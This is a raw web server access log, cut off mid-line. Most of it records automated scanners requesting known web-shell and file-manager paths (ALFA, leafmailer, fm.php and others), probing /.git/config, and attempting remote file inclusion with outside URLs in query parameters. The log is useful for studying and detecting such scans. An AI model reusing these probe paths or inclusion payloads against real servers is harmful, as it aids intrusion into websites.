[23/Apr/2025:05:44:21 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:22 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:24 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:25 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:27 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:29 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:34 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:35 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:38 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:40 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:42 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:43 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:45 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:47 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:49 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:51 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:52 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:53 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:55 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:55 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:56 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:58 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:02 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:05 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:08 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:11 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:13 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:16 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:19 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:22 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:24 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:26 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:28 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:32 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:34 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:38 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:42 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:46 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:50 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:53 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:55 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:57 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:45:59 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:01 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:05 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:08 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:10 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:13 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:15 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:18 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:19 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:21 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:21 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:22 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:25 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:28 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:31 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:33 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:34 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:36 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:37 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:38 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:39 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:40 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:42 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:43 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:44 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:46 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:48 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:49 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:50 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:51 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:53 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:54 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:55 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:56 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:57 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:46:58 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:00 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:02 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:03 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 152.42.171.40 - - [23/Apr/2025:05:47:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-J111F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36" 52.164.127.136 - - [23/Apr/2025:05:47:04 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:05 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:07 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 152.42.171.40 - - [23/Apr/2025:05:47:07 -0400] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-J111F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36" 52.164.127.136 - - [23/Apr/2025:05:47:08 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:09 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:10 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:12 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:13 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:14 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:15 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:16 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:16 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:17 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:17 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:18 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:18 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:19 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:20 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:20 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:21 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:22 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:22 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:23 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:24 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:25 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:27 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:29 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:29 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:30 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:31 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:33 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:33 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:34 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:35 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:35 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:36 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:37 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:38 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:39 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:40 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:41 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:42 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:43 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:45 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:46 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:47 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:48 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:50 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:51 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:52 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:53 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:55 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:57 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:59 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:47:59 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:00 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:00 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:01 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:02 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:02 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:04 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:05 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:06 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:07 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:09 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:10 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:11 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:12 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:15 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:16 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:18 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:20 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:21 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:22 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:23 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:24 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:26 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:27 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:28 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:29 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:30 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:32 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:48:33 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 114.119.139.217 - - [23/Apr/2025:06:02:19 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 43.157.95.131 - - [23/Apr/2025:06:02:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [23/Apr/2025:06:34:17 -0400] "GET /anu.php HTTP/1.1" 301 795 "http://designpitara.com/anu.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 208.100.26.244 - - [23/Apr/2025:06:39:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 7.0; Mobile; LG-M150; rv:68.0) Gecko/68.0 Firefox/68.0" 54.215.83.81 - - [23/Apr/2025:07:04:53 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Apache-HttpClient/4.5.9 (Java/1.8.0_442)" 162.0.232.217 - - [23/Apr/2025:07:30:22 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:07:30:49 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:07:32:13 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:07:33:39 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:07:34:08 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [23/Apr/2025:07:35:54 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 145.239.10.137 - - [23/Apr/2025:07:39:51 -0400] "GET /simulate.php HTTP/1.1" 301 795 "http://designpitara.com/simulate.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [23/Apr/2025:07:39:51 -0400] "GET /css.php HTTP/1.1" 301 795 "http://designpitara.com/css.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 196.251.72.127 - - [23/Apr/2025:08:13:34 -0400] "GET /.git/config HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Linux; Android 9; SM-N950U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 154.83.103.179 - - [23/Apr/2025:08:16:13 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 66.249.79.103 - - [23/Apr/2025:08:58:51 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.103 - - [23/Apr/2025:08:58:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 114.119.147.213 - - [23/Apr/2025:09:00:37 -0400] "GET / HTTP/1.1" 301 795 "https://viesearch.com/?q=logo%2Bdesign%2Bcompany%2Bin%2Bgurgaon" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 114.119.136.76 - - [23/Apr/2025:09:05:40 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 40.69.223.132 - - [23/Apr/2025:09:08:53 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:08:57 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:00 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:02 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:04 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:06 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:09 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:12 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:14 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:16 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:19 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:21 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:24 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:26 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:28 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:29 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:31 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:33 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:34 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:36 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:38 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:39 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.223.132 - - [23/Apr/2025:09:09:40 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 195.26.224.235 - - [23/Apr/2025:09:28:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 110.172.98.2 - - [23/Apr/2025:09:30:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:31:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:32:11 -0400] "GET /mail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:32:19 -0400] "GET /webmail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:32:31 -0400] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 136.0.141.213 - - [23/Apr/2025:09:32:40 -0400] "GET 